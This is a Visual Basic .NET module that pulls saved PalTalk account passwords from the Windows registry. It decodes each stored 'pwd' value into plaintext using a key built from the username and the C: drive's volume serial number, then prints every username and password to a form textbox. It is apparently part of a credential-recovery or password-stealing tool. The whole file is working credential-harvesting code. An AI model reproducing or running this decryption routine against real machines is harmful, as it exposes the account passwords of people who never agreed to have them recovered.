Module PalTalk
    Public Function GetHDSerial() As String
        Dim disk As New System.Management.ManagementObject( _
        "Win32_LogicalDisk.DeviceID=""C:""")
        Dim diskPropertyA As System.Management.PropertyData = _
          disk.Properties("VolumeSerialNumber")
        Return diskPropertyA.Value.ToString()
    End Function
    Public Function paltalkscene() As String
        Try
            Dim ser() As Char = GetHDSerial().ToCharArray
            Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
            Dim out As String = ""
            reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
            Dim users As String() = reg.GetSubKeyNames()
            reg.Close()
            For Each s As String In users
                Dim t, o, i, x As Integer
                Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
                Dim chr1 As Char() = pass.ToCharArray
                Dim passarr(pass.Length / 4) As String
                While t <= UBound(chr1) - 4
                    If t < UBound(chr1) - 4 Then
                        passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
                    End If
                    t += 4
                    o += 1
                End While
                Dim key As String = ""
                For Each c As Char In s
                    key += c
                    If i <= UBound(ser) Then
                        key += ser(i)
                    End If
                    i = i + 1
                Next
                key = key & key & key
                Dim chr_arr As Char() = key.ToCharArray
                Dim blainpass As String = ""
                blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
                For x = 1 To UBound(passarr)
                    Dim tempchr As Char
                    If passarr(x) Is Nothing Then
                    Else
                        tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
                        blainpass += tempchr
                    End If
                Next x

                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============PalTalk==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & s)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & blainpass)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Next
            Return out
        Catch ex As Exception
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============PalTalk==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("PalTalk Not Installed!")
            Form1.ztext.AppendText(nl)
            Return "---"
        End Try
    End Function
End Module